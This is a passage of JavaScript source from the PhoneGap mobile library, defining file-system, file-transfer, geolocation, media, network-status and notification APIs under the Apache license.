if (typeof me.onwriteend === "function") {
me.onwriteend({"type":"writeend", "target":me});
}
}, "File", "write", [this.fileName, text, this.position]);
};
/**
* Moves the file pointer to the location specified.
*
* If the offset is a negative number the position of the file
* pointer is rewound. If the offset is greater than the file
* size the position is set to the end of the file.
*
* @param offset is the location to move the file pointer to.
*/
FileWriter.prototype.seek = function(offset) {
// Throw an exception if we are already writing a file
if (this.readyState === FileWriter.WRITING) {
throw FileError.INVALID_STATE_ERR;
}
if (!offset) {
return;
}
// See back from end of file.
if (offset < 0) {
this.position = Math.max(offset + this.length, 0);
}
// Offset is bigger then file size so set position
// to the end of the file.
else if (offset > this.length) {
this.position = this.length;
}
// Offset is between 0 and file size so set the position
// to start writing.
else {
this.position = offset;
}
};
/**
* Truncates the file to the size specified.
*
* @param size to chop the file at.
*/
FileWriter.prototype.truncate = function(size) {
// Throw an exception if we are already writing a file
if (this.readyState === FileWriter.WRITING) {
throw FileError.INVALID_STATE_ERR;
}
// WRITING state
this.readyState = FileWriter.WRITING;
var me = this;
// If onwritestart callback
if (typeof me.onwritestart === "function") {
me.onwritestart({"type":"writestart", "target":this});
}
// Write file
PhoneGap.exec(
// Success callback
function(r) {
var evt;
// If DONE (cancelled), then don't do anything
if (me.readyState === FileWriter.DONE) {
return;
}
// Update the length of the file
me.length = r;
me.position = Math.min(me.position, r);
// If onwrite callback
if (typeof me.onwrite === "function") {
me.onwrite({"type":"write", "target":me});
}
// DONE state
me.readyState = FileWriter.DONE;
// If onwriteend callback
if (typeof me.onwriteend === "function") {
me.onwriteend({"type":"writeend", "target":me});
}
},
// Error callback
function(e) {
var evt;
// If DONE (cancelled), then don't do anything
if (me.readyState === FileWriter.DONE) {
return;
}
// Save error
me.error = e;
// If onerror callback
if (typeof me.onerror === "function") {
me.onerror({"type":"error", "target":me});
}
// DONE state
me.readyState = FileWriter.DONE;
// If onwriteend callback
if (typeof me.onwriteend === "function") {
me.onwriteend({"type":"writeend", "target":me});
}
}, "File", "truncate", [this.fileName, size]);
};
/**
* Information about the state of the file or directory
*
* @constructor
* {Date} modificationTime (readonly)
*/
var Metadata = function() {
this.modificationTime=null;
};
/**
* Supplies arguments to methods that lookup or create files and directories
*
* @constructor
* @param {boolean} create file or directory if it doesn't exist
* @param {boolean} exclusive if true the command will fail if the file or directory exists
*/
var Flags = function(create, exclusive) {
this.create = create || false;
this.exclusive = exclusive || false;
};
/**
* An interface representing a file system
*
* @constructor
* {DOMString} name the unique name of the file system (readonly)
* {DirectoryEntry} root directory of the file system (readonly)
*/
var FileSystem = function() {
this.name = null;
this.root = null;
};
/**
* An interface that lists the files and directories in a directory.
* @constructor
*/
var DirectoryReader = function(fullPath){
this.fullPath = fullPath || null;
};
/**
* Returns a list of entries from a directory.
*
* @param {Function} successCallback is called with a list of entries
* @param {Function} errorCallback is called with a FileError
*/
DirectoryReader.prototype.readEntries = function(successCallback, errorCallback) {
PhoneGap.exec(successCallback, errorCallback, "File", "readEntries", [this.fullPath]);
};
/**
* An interface representing a directory on the file system.
*
* @constructor
* {boolean} isFile always false (readonly)
* {boolean} isDirectory always true (readonly)
* {DOMString} name of the directory, excluding the path leading to it (readonly)
* {DOMString} fullPath the absolute full path to the directory (readonly)
* {FileSystem} filesystem on which the directory resides (readonly)
*/
var DirectoryEntry = function() {
this.isFile = false;
this.isDirectory = true;
this.name = null;
this.fullPath = null;
this.filesystem = null;
};
/**
* Copies a directory to a new location
*
* @param {DirectoryEntry} parent the directory to which to copy the entry
* @param {DOMString} newName the new name of the entry, defaults to the current name
* @param {Function} successCallback is called with the new entry
* @param {Function} errorCallback is called with a FileError
*/
DirectoryEntry.prototype.copyTo = function(parent, newName, successCallback, errorCallback) {
PhoneGap.exec(successCallback, errorCallback, "File", "copyTo", [this.fullPath, parent, newName]);
};
/**
* Looks up the metadata of the entry
*
* @param {Function} successCallback is called with a Metadata object
* @param {Function} errorCallback is called with a FileError
*/
DirectoryEntry.prototype.getMetadata = function(successCallback, errorCallback) {
PhoneGap.exec(successCallback, errorCallback, "File", "getMetadata", [this.fullPath]);
};
/**
* Gets the parent of the entry
*
* @param {Function} successCallback is called with a parent entry
* @param {Function} errorCallback is called with a FileError
*/
DirectoryEntry.prototype.getParent = function(successCallback, errorCallback) {
PhoneGap.exec(successCallback, errorCallback, "File", "getParent", [this.fullPath]);
};
/**
* Moves a directory to a new location
*
* @param {DirectoryEntry} parent the directory to which to move the entry
* @param {DOMString} newName the new name of the entry, defaults to the current name
* @param {Function} successCallback is called with the new entry
* @param {Function} errorCallback is called with a FileError
*/
DirectoryEntry.prototype.moveTo = function(parent, newName, successCallback, errorCallback) {
PhoneGap.exec(successCallback, errorCallback, "File", "moveTo", [this.fullPath, parent, newName]);
};
/**
* Removes the entry
*
* @param {Function} successCallback is called with no parameters
* @param {Function} errorCallback is called with a FileError
*/
DirectoryEntry.prototype.remove = function(successCallback, errorCallback) {
PhoneGap.exec(successCallback, errorCallback, "File", "remove", [this.fullPath]);
};
/**
* Returns a URI that can be used to identify this entry.
*
* @param {DOMString} mimeType for a FileEntry, the mime type to be used to interpret the file, when loaded through this URI.
* @return uri
*/
DirectoryEntry.prototype.toURI = function(mimeType) {
return "file://" + this.fullPath;
};
/**
* Creates a new DirectoryReader to read entries from this directory
*/
DirectoryEntry.prototype.createReader = function(successCallback, errorCallback) {
return new DirectoryReader(this.fullPath);
};
/**
* Creates or looks up a directory
*
* @param {DOMString} path either a relative or absolute path from this directory in which to look up or create a directory
* @param {Flags} options to create or excluively create the directory
* @param {Function} successCallback is called with the new entry
* @param {Function} errorCallback is called with a FileError
*/
DirectoryEntry.prototype.getDirectory = function(path, options, successCallback, errorCallback) {
PhoneGap.exec(successCallback, errorCallback, "File", "getDirectory", [this.fullPath, path, options]);
};
/**
* Creates or looks up a file
*
* @param {DOMString} path either a relative or absolute path from this directory in which to look up or create a file
* @param {Flags} options to create or excluively create the file
* @param {Function} successCallback is called with the new entry
* @param {Function} errorCallback is called with a FileError
*/
DirectoryEntry.prototype.getFile = function(path, options, successCallback, errorCallback) {
PhoneGap.exec(successCallback, errorCallback, "File", "getFile", [this.fullPath, path, options]);
};
/**
* Deletes a directory and all of it's contents
*
* @param {Function} successCallback is called with no parameters
* @param {Function} errorCallback is called with a FileError
*/
DirectoryEntry.prototype.removeRecursively = function(successCallback, errorCallback) {
PhoneGap.exec(successCallback, errorCallback, "File", "removeRecursively", [this.fullPath]);
};
/**
* An interface representing a directory on the file system.
*
* @constructor
* {boolean} isFile always true (readonly)
* {boolean} isDirectory always false (readonly)
* {DOMString} name of the file, excluding the path leading to it (readonly)
* {DOMString} fullPath the absolute full path to the file (readonly)
* {FileSystem} filesystem on which the directory resides (readonly)
*/
var FileEntry = function() {
this.isFile = true;
this.isDirectory = false;
this.name = null;
this.fullPath = null;
this.filesystem = null;
};
/**
* Copies a file to a new location
*
* @param {DirectoryEntry} parent the directory to which to copy the entry
* @param {DOMString} newName the new name of the entry, defaults to the current name
* @param {Function} successCallback is called with the new entry
* @param {Function} errorCallback is called with a FileError
*/
FileEntry.prototype.copyTo = function(parent, newName, successCallback, errorCallback) {
PhoneGap.exec(successCallback, errorCallback, "File", "copyTo", [this.fullPath, parent, newName]);
};
/**
* Looks up the metadata of the entry
*
* @param {Function} successCallback is called with a Metadata object
* @param {Function} errorCallback is called with a FileError
*/
FileEntry.prototype.getMetadata = function(successCallback, errorCallback) {
PhoneGap.exec(successCallback, errorCallback, "File", "getMetadata", [this.fullPath]);
};
/**
* Gets the parent of the entry
*
* @param {Function} successCallback is called with a parent entry
* @param {Function} errorCallback is called with a FileError
*/
FileEntry.prototype.getParent = function(successCallback, errorCallback) {
PhoneGap.exec(successCallback, errorCallback, "File", "getParent", [this.fullPath]);
};
/**
* Moves a directory to a new location
*
* @param {DirectoryEntry} parent the directory to which to move the entry
* @param {DOMString} newName the new name of the entry, defaults to the current name
* @param {Function} successCallback is called with the new entry
* @param {Function} errorCallback is called with a FileError
*/
FileEntry.prototype.moveTo = function(parent, newName, successCallback, errorCallback) {
PhoneGap.exec(successCallback, errorCallback, "File", "moveTo", [this.fullPath, parent, newName]);
};
/**
* Removes the entry
*
* @param {Function} successCallback is called with no parameters
* @param {Function} errorCallback is called with a FileError
*/
FileEntry.prototype.remove = function(successCallback, errorCallback) {
PhoneGap.exec(successCallback, errorCallback, "File", "remove", [this.fullPath]);
};
/**
* Returns a URI that can be used to identify this entry.
*
* @param {DOMString} mimeType for a FileEntry, the mime type to be used to interpret the file, when loaded through this URI.
* @return uri
*/
FileEntry.prototype.toURI = function(mimeType) {
return "file://" + this.fullPath;
};
/**
* Creates a new FileWriter associated with the file that this FileEntry represents.
*
* @param {Function} successCallback is called with the new FileWriter
* @param {Function} errorCallback is called with a FileError
*/
FileEntry.prototype.createWriter = function(successCallback, errorCallback) {
this.file(function(filePointer) {
var writer = new FileWriter(filePointer);
if (writer.fileName === null || writer.fileName === "") {
if (typeof errorCallback === "function") {
errorCallback({
"code": FileError.INVALID_STATE_ERR
});
}
}
if (typeof successCallback === "function") {
successCallback(writer);
}
}, errorCallback);
};
/**
* Returns a File that represents the current state of the file that this FileEntry represents.
*
* @param {Function} successCallback is called with the new File object
* @param {Function} errorCallback is called with a FileError
*/
FileEntry.prototype.file = function(successCallback, errorCallback) {
PhoneGap.exec(successCallback, errorCallback, "File", "getFileMetadata", [this.fullPath]);
};
/** @constructor */
var LocalFileSystem = function() {
};
// File error codes
LocalFileSystem.TEMPORARY = 0;
LocalFileSystem.PERSISTENT = 1;
LocalFileSystem.RESOURCE = 2;
LocalFileSystem.APPLICATION = 3;
/**
* Requests a filesystem in which to store application data.
*
* @param {int} type of file system being requested
* @param {Function} successCallback is called with the new FileSystem
* @param {Function} errorCallback is called with a FileError
*/
LocalFileSystem.prototype.requestFileSystem = function(type, size, successCallback, errorCallback) {
if (type < 0 || type > 3) {
if (typeof errorCallback === "function") {
errorCallback({
"code": FileError.SYNTAX_ERR
});
}
}
else {
PhoneGap.exec(successCallback, errorCallback, "File", "requestFileSystem", [type, size]);
}
};
/**
*
* @param {DOMString} uri referring to a local file in a filesystem
* @param {Function} successCallback is called with the new entry
* @param {Function} errorCallback is called with a FileError
*/
LocalFileSystem.prototype.resolveLocalFileSystemURI = function(uri, successCallback, errorCallback) {
PhoneGap.exec(successCallback, errorCallback, "File", "resolveLocalFileSystemURI", [uri]);
};
/**
* This function returns and array of contacts. It is required as we need to convert raw
* JSON objects into concrete Contact objects. Currently this method is called after
* navigator.service.contacts.find but before the find methods success call back.
*
* @param a JSON Objects that need to be converted to DirectoryEntry or FileEntry objects.
* @returns an entry
*/
LocalFileSystem.prototype._castFS = function(pluginResult) {
var entry = null;
entry = new DirectoryEntry();
entry.isDirectory = pluginResult.message.root.isDirectory;
entry.isFile = pluginResult.message.root.isFile;
entry.name = pluginResult.message.root.name;
entry.fullPath = pluginResult.message.root.fullPath;
pluginResult.message.root = entry;
return pluginResult;
};
LocalFileSystem.prototype._castEntry = function(pluginResult) {
var entry = null;
if (pluginResult.message.isDirectory) {
entry = new DirectoryEntry();
}
else if (pluginResult.message.isFile) {
entry = new FileEntry();
}
entry.isDirectory = pluginResult.message.isDirectory;
entry.isFile = pluginResult.message.isFile;
entry.name = pluginResult.message.name;
entry.fullPath = pluginResult.message.fullPath;
pluginResult.message = entry;
return pluginResult;
};
LocalFileSystem.prototype._castEntries = function(pluginResult) {
var entries = pluginResult.message;
var retVal = [];
for (var i=0; i<entries.length; i++) {
retVal.push(window.localFileSystem._createEntry(entries[i]));
}
pluginResult.message = retVal;
return pluginResult;
};
LocalFileSystem.prototype._createEntry = function(castMe) {
var entry = null;
if (castMe.isDirectory) {
entry = new DirectoryEntry();
}
else if (castMe.isFile) {
entry = new FileEntry();
}
entry.isDirectory = castMe.isDirectory;
entry.isFile = castMe.isFile;
entry.name = castMe.name;
entry.fullPath = castMe.fullPath;
return entry;
};
LocalFileSystem.prototype._castDate = function(pluginResult) {
if (pluginResult.message.modificationTime) {
var modTime = new Date(pluginResult.message.modificationTime);
pluginResult.message.modificationTime = modTime;
}
else if (pluginResult.message.lastModifiedDate) {
var file = new File();
file.size = pluginResult.message.size;
file.type = pluginResult.message.type;
file.name = pluginResult.message.name;
file.fullPath = pluginResult.message.fullPath;
file.lastModifiedDate = new Date(pluginResult.message.lastModifiedDate);
pluginResult.message = file;
}
return pluginResult;
};
/**
* Add the FileSystem interface into the browser.
*/
PhoneGap.addConstructor(function() {
var pgLocalFileSystem = new LocalFileSystem();
// Needed for cast methods
if (typeof window.localFileSystem === "undefined") {
window.localFileSystem = pgLocalFileSystem;
}
if (typeof window.requestFileSystem === "undefined") {
window.requestFileSystem = pgLocalFileSystem.requestFileSystem;
}
if (typeof window.resolveLocalFileSystemURI === "undefined") {
window.resolveLocalFileSystemURI = pgLocalFileSystem.resolveLocalFileSystemURI;
}
});
}/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
if (!PhoneGap.hasResource("filetransfer")) {
PhoneGap.addResource("filetransfer");
/**
* FileTransfer uploads a file to a remote server.
* @constructor
*/
var FileTransfer = function() {};
/**
* FileUploadResult
* @constructor
*/
var FileUploadResult = function() {
this.bytesSent = 0;
this.responseCode = null;
this.response = null;
};
/**
* FileTransferError
* @constructor
*/
var FileTransferError = function() {
this.code = null;
};
FileTransferError.FILE_NOT_FOUND_ERR = 1;
FileTransferError.INVALID_URL_ERR = 2;
FileTransferError.CONNECTION_ERR = 3;
/**
* Given an absolute file path, uploads a file on the device to a remote server
* using a multipart HTTP request.
* @param filePath {String} Full path of the file on the device
* @param server {String} URL of the server to receive the file
* @param successCallback (Function} Callback to be invoked when upload has completed
* @param errorCallback {Function} Callback to be invoked upon error
* @param options {FileUploadOptions} Optional parameters such as file name and mimetype
*/
FileTransfer.prototype.upload = function(filePath, server, successCallback, errorCallback, options, debug) {
// check for options
var fileKey = null;
var fileName = null;
var mimeType = null;
var params = null;
var chunkedMode = true;
if (options) {
fileKey = options.fileKey;
fileName = options.fileName;
mimeType = options.mimeType;
if (options.chunkedMode !== null || typeof options.chunkedMode !== "undefined") {
chunkedMode = options.chunkedMode;
}
if (options.params) {
params = options.params;
}
else {
params = {};
}
}
PhoneGap.exec(successCallback, errorCallback, 'FileTransfer', 'upload', [filePath, server, fileKey, fileName, mimeType, params, debug, chunkedMode]);
};
/**
* Downloads a file form a given URL and saves it to the specified directory.
* @param source {String} URL of the server to receive the file
* @param target {String} Full path of the file on the device
* @param successCallback (Function} Callback to be invoked when upload has completed
* @param errorCallback {Function} Callback to be invoked upon error
*/
FileTransfer.prototype.download = function(source, target, successCallback, errorCallback) {
PhoneGap.exec(successCallback, errorCallback, 'FileTransfer', 'download', [source, target]);
};
/**
* Options to customize the HTTP request used to upload files.
* @constructor
* @param fileKey {String} Name of file request parameter.
* @param fileName {String} Filename to be used by the server. Defaults to image.jpg.
* @param mimeType {String} Mimetype of the uploaded file. Defaults to image/jpeg.
* @param params {Object} Object with key: value params to send to the server.
*/
var FileUploadOptions = function(fileKey, fileName, mimeType, params) {
this.fileKey = fileKey || null;
this.fileName = fileName || null;
this.mimeType = mimeType || null;
this.params = params || null;
};
}
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
if (!PhoneGap.hasResource("geolocation")) {
PhoneGap.addResource("geolocation");
/**
* This class provides access to device GPS data.
* @constructor
*/
var Geolocation = function() {
// The last known GPS position.
this.lastPosition = null;
// Geolocation listeners
this.listeners = {};
};
/**
* Position error object
*
* @constructor
* @param code
* @param message
*/
var PositionError = function(code, message) {
this.code = code;
this.message = message;
};
PositionError.PERMISSION_DENIED = 1;
PositionError.POSITION_UNAVAILABLE = 2;
PositionError.TIMEOUT = 3;
/**
* Asynchronously aquires the current position.
*
* @param {Function} successCallback The function to call when the position data is available
* @param {Function} errorCallback The function to call when there is an error getting the heading position. (OPTIONAL)
* @param {PositionOptions} options The options for getting the position data. (OPTIONAL)
*/
Geolocation.prototype.getCurrentPosition = function(successCallback, errorCallback, options) {
if (navigator._geo.listeners.global) {
console.log("Geolocation Error: Still waiting for previous getCurrentPosition() request.");
try {
errorCallback(new PositionError(PositionError.TIMEOUT, "Geolocation Error: Still waiting for previous getCurrentPosition() request."));
} catch (e) {
}
return;
}
var maximumAge = 10000;
var enableHighAccuracy = false;
var timeout = 10000;
if (typeof options !== "undefined") {
if (typeof options.maximumAge !== "undefined") {
maximumAge = options.maximumAge;
}
if (typeof options.enableHighAccuracy !== "undefined") {
enableHighAccuracy = options.enableHighAccuracy;
}
if (typeof options.timeout !== "undefined") {
timeout = options.timeout;
}
}
navigator._geo.listeners.global = {"success" : successCallback, "fail" : errorCallback };
PhoneGap.exec(null, null, "Geolocation", "getCurrentLocation", [enableHighAccuracy, timeout, maximumAge]);
};
/**
* Asynchronously watches the geolocation for changes to geolocation. When a change occurs,
* the successCallback is called with the new location.
*
* @param {Function} successCallback The function to call each time the location data is available
* @param {Function} errorCallback The function to call when there is an error getting the location data. (OPTIONAL)
* @param {PositionOptions} options The options for getting the location data such as frequency. (OPTIONAL)
* @return String The watch id that must be passed to #clearWatch to stop watching.
*/
Geolocation.prototype.watchPosition = function(successCallback, errorCallback, options) {
var maximumAge = 10000;
var enableHighAccuracy = false;
var timeout = 10000;
if (typeof options !== "undefined") {
if (typeof options.frequency !== "undefined") {
maximumAge = options.frequency;
}
if (typeof options.maximumAge !== "undefined") {
maximumAge = options.maximumAge;
}
if (typeof options.enableHighAccuracy !== "undefined") {
enableHighAccuracy = options.enableHighAccuracy;
}
if (typeof options.timeout !== "undefined") {
timeout = options.timeout;
}
}
var id = PhoneGap.createUUID();
navigator._geo.listeners[id] = {"success" : successCallback, "fail" : errorCallback };
PhoneGap.exec(null, null, "Geolocation", "start", [id, enableHighAccuracy, timeout, maximumAge]);
return id;
};
/*
* Native callback when watch position has a new position.
* PRIVATE METHOD
*
* @param {String} id
* @param {Number} lat
* @param {Number} lng
* @param {Number} alt
* @param {Number} altacc
* @param {Number} head
* @param {Number} vel
* @param {Number} stamp
*/
Geolocation.prototype.success = function(id, lat, lng, alt, altacc, head, vel, stamp) {
var coords = new Coordinates(lat, lng, alt, altacc, head, vel);
var loc = new Position(coords, stamp);
try {
if (lat === "undefined" || lng === "undefined") {
navigator._geo.listeners[id].fail(new PositionError(PositionError.POSITION_UNAVAILABLE, "Lat/Lng are undefined."));
}
else {
navigator._geo.lastPosition = loc;
navigator._geo.listeners[id].success(loc);
}
}
catch (e) {
console.log("Geolocation Error: Error calling success callback function.");
}
if (id === "global") {
delete navigator._geo.listeners.global;
}
};
/**
* Native callback when watch position has an error.
* PRIVATE METHOD
*
* @param {String} id The ID of the watch
* @param {Number} code The error code
* @param {String} msg The error message
*/
Geolocation.prototype.fail = function(id, code, msg) {
try {
navigator._geo.listeners[id].fail(new PositionError(code, msg));
}
catch (e) {
console.log("Geolocation Error: Error calling error callback function.");
}
};
/**
* Clears the specified heading watch.
*
* @param {String} id The ID of the watch returned from #watchPosition
*/
Geolocation.prototype.clearWatch = function(id) {
PhoneGap.exec(null, null, "Geolocation", "stop", [id]);
delete navigator._geo.listeners[id];
};
/**
* Force the PhoneGap geolocation to be used instead of built-in.
*/
Geolocation.usingPhoneGap = false;
Geolocation.usePhoneGap = function() {
if (Geolocation.usingPhoneGap) {
return;
}
Geolocation.usingPhoneGap = true;
// Set built-in geolocation methods to our own implementations
// (Cannot replace entire geolocation, but can replace individual methods)
navigator.geolocation.setLocation = navigator._geo.setLocation;
navigator.geolocation.getCurrentPosition = navigator._geo.getCurrentPosition;
navigator.geolocation.watchPosition = navigator._geo.watchPosition;
navigator.geolocation.clearWatch = navigator._geo.clearWatch;
navigator.geolocation.start = navigator._geo.start;
navigator.geolocation.stop = navigator._geo.stop;
};
PhoneGap.addConstructor(function() {
navigator._geo = new Geolocation();
// No native geolocation object for Android 1.x, so use PhoneGap geolocation
if (typeof navigator.geolocation === 'undefined') {
navigator.geolocation = navigator._geo;
Geolocation.usingPhoneGap = true;
}
});
}
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
if (!PhoneGap.hasResource("media")) {
PhoneGap.addResource("media");
/**
* This class provides access to the device media, interfaces to both sound and video
*
* @constructor
* @param src The file name or url to play
* @param successCallback The callback to be called when the file is done playing or recording.
* successCallback() - OPTIONAL
* @param errorCallback The callback to be called if there is an error.
* errorCallback(int errorCode) - OPTIONAL
* @param statusCallback The callback to be called when media status has changed.
* statusCallback(int statusCode) - OPTIONAL
* @param positionCallback The callback to be called when media position has changed.
* positionCallback(long position) - OPTIONAL
*/
var Media = function(src, successCallback, errorCallback, statusCallback, positionCallback) {
// successCallback optional
if (successCallback && (typeof successCallback !== "function")) {
console.log("Media Error: successCallback is not a function");
return;
}
// errorCallback optional
if (errorCallback && (typeof errorCallback !== "function")) {
console.log("Media Error: errorCallback is not a function");
return;
}
// statusCallback optional
if (statusCallback && (typeof statusCallback !== "function")) {
console.log("Media Error: statusCallback is not a function");
return;
}
// statusCallback optional
if (positionCallback && (typeof positionCallback !== "function")) {
console.log("Media Error: positionCallback is not a function");
return;
}
this.id = PhoneGap.createUUID();
PhoneGap.mediaObjects[this.id] = this;
this.src = src;
this.successCallback = successCallback;
this.errorCallback = errorCallback;
this.statusCallback = statusCallback;
this.positionCallback = positionCallback;
this._duration = -1;
this._position = -1;
};
// Media messages
Media.MEDIA_STATE = 1;
Media.MEDIA_DURATION = 2;
Media.MEDIA_POSITION = 3;
Media.MEDIA_ERROR = 9;
// Media states
Media.MEDIA_NONE = 0;
Media.MEDIA_STARTING = 1;
Media.MEDIA_RUNNING = 2;
Media.MEDIA_PAUSED = 3;
Media.MEDIA_STOPPED = 4;
Media.MEDIA_MSG = ["None", "Starting", "Running", "Paused", "Stopped"];
// TODO: Will MediaError be used?
/**
* This class contains information about any Media errors.
* @constructor
*/
var MediaError = function() {
this.code = null;
this.message = "";
};
MediaError.MEDIA_ERR_NONE_ACTIVE = 0;
MediaError.MEDIA_ERR_ABORTED = 1;
MediaError.MEDIA_ERR_NETWORK = 2;
MediaError.MEDIA_ERR_DECODE = 3;
MediaError.MEDIA_ERR_NONE_SUPPORTED = 4;
/**
* Start or resume playing audio file.
*/
Media.prototype.play = function() {
PhoneGap.exec(null, null, "Media", "startPlayingAudio", [this.id, this.src]);
};
/**
* Stop playing audio file.
*/
Media.prototype.stop = function() {
return PhoneGap.exec(null, null, "Media", "stopPlayingAudio", [this.id]);
};
/**
* Seek or jump to a new time in the track..
*/
Media.prototype.seekTo = function(milliseconds) {
PhoneGap.exec(null, null, "Media", "seekToAudio", [this.id, milliseconds]);
};
/**
* Pause playing audio file.
*/
Media.prototype.pause = function() {
PhoneGap.exec(null, null, "Media", "pausePlayingAudio", [this.id]);
};
/**
* Get duration of an audio file.
* The duration is only set for audio that is playing, paused or stopped.
*
* @return duration or -1 if not known.
*/
Media.prototype.getDuration = function() {
return this._duration;
};
/**
* Get position of audio.
*/
Media.prototype.getCurrentPosition = function(success, fail) {
PhoneGap.exec(success, fail, "Media", "getCurrentPositionAudio", [this.id]);
};
/**
* Start recording audio file.
*/
Media.prototype.startRecord = function() {
PhoneGap.exec(null, null, "Media", "startRecordingAudio", [this.id, this.src]);
};
/**
* Stop recording audio file.
*/
Media.prototype.stopRecord = function() {
PhoneGap.exec(null, null, "Media", "stopRecordingAudio", [this.id]);
};
/**
* Release the resources.
*/
Media.prototype.release = function() {
PhoneGap.exec(null, null, "Media", "release", [this.id]);
};
/**
* Adjust the volume.
*/
Media.prototype.setVolume = function(volume) {
PhoneGap.exec(null, null, "Media", "setVolume", [this.id, volume]);
};
/**
* List of media objects.
* PRIVATE
*/
PhoneGap.mediaObjects = {};
/**
* Object that receives native callbacks.
* PRIVATE
* @constructor
*/
PhoneGap.Media = function() {};
/**
* Get the media object.
* PRIVATE
*
* @param id The media object id (string)
*/
PhoneGap.Media.getMediaObject = function(id) {
return PhoneGap.mediaObjects[id];
};
/**
* Audio has status update.
* PRIVATE
*
* @param id The media object id (string)
* @param status The status code (int)
* @param msg The status message (string)
*/
PhoneGap.Media.onStatus = function(id, msg, value) {
var media = PhoneGap.mediaObjects[id];
// If state update
if (msg === Media.MEDIA_STATE) {
if (value === Media.MEDIA_STOPPED) {
if (media.successCallback) {
media.successCallback();
}
}
if (media.statusCallback) {
media.statusCallback(value);
}
}
else if (msg === Media.MEDIA_DURATION) {
media._duration = value;
}
else if (msg === Media.MEDIA_ERROR) {
if (media.errorCallback) {
media.errorCallback({"code":value});
}
}
else if (msg === Media.MEDIA_POSITION) {
media._position = value;
}
};
}
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
if (!PhoneGap.hasResource("network")) {
PhoneGap.addResource("network");
/**
* This class contains information about the current network Connection.
* @constructor
*/
var Connection = function() {
this.type = null;
this._firstRun = true;
this._timer = null;
this.timeout = 500;
var me = this;
this.getInfo(
function(type) {
// Need to send events if we are on or offline
if (type === "none") {
// set a timer if still offline at the end of timer send the offline event
me._timer = setTimeout(function(){
me.type = type;
PhoneGap.fireDocumentEvent('offline');
me._timer = null;
}, me.timeout);
} else {
// If there is a current offline event pending clear it
if (me._timer !== null) {
clearTimeout(me._timer);
me._timer = null;
}
me.type = type;
PhoneGap.fireDocumentEvent('online');
}
// should only fire this once
if (me._firstRun) {
me._firstRun = false;
PhoneGap.onPhoneGapConnectionReady.fire();
}
},
function(e) {
// If we can't get the network info we should still tell PhoneGap
// to fire the deviceready event.
if (me._firstRun) {
me._firstRun = false;
PhoneGap.onPhoneGapConnectionReady.fire();
}
console.log("Error initializing Network Connection: " + e);
});
};
Connection.UNKNOWN = "unknown";
Connection.ETHERNET = "ethernet";
Connection.WIFI = "wifi";
Connection.CELL_2G = "2g";
Connection.CELL_3G = "3g";
Connection.CELL_4G = "4g";
Connection.NONE = "none";
/**
* Get connection info
*
* @param {Function} successCallback The function to call when the Connection data is available
* @param {Function} errorCallback The function to call when there is an error getting the Connection data. (OPTIONAL)
*/
Connection.prototype.getInfo = function(successCallback, errorCallback) {
// Get info
PhoneGap.exec(successCallback, errorCallback, "Network Status", "getConnectionInfo", []);
};
PhoneGap.addConstructor(function() {
if (typeof navigator.network === "undefined") {
navigator.network = {};
}
if (typeof navigator.network.connection === "undefined") {
navigator.network.connection = new Connection();
}
});
}
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
if (!PhoneGap.hasResource("notification")) {
PhoneGap.addResource("notification");
/**
* This class provides access to notifications on the device.
* @constructor
*/
var Notification = function() {
};
/**
* Open a native alert dialog, with a customizable title and button text.
*
* @param {String} message Message to print in the body of the alert
* @param {Function} completeCallback The callback that is called when user clicks on a button.
* @param {String} title Title of the alert dialog (default: Alert)
* @param {String} buttonLabel Label of the close button (default: OK)
*/
Notification.prototype.alert = function(message, completeCallback, title, buttonLabel) {
var _title = (title || "Alert");
var _buttonLabel = (buttonLabel || "OK");
PhoneGap.exec(completeCallback, null, "Notification", "alert", [message,_title,_buttonLabel]);
};
/**
* Open a native confirm dialog, with a customizable title and button text.
* The result that the user selects is returned to the result callback.
*
* @param {String} message Message to print in the body of the alert
* @param {Function} resultCallback The callback that is called when user clicks on a button.
* @param {String} title Title of the alert dialog (default: Confirm)
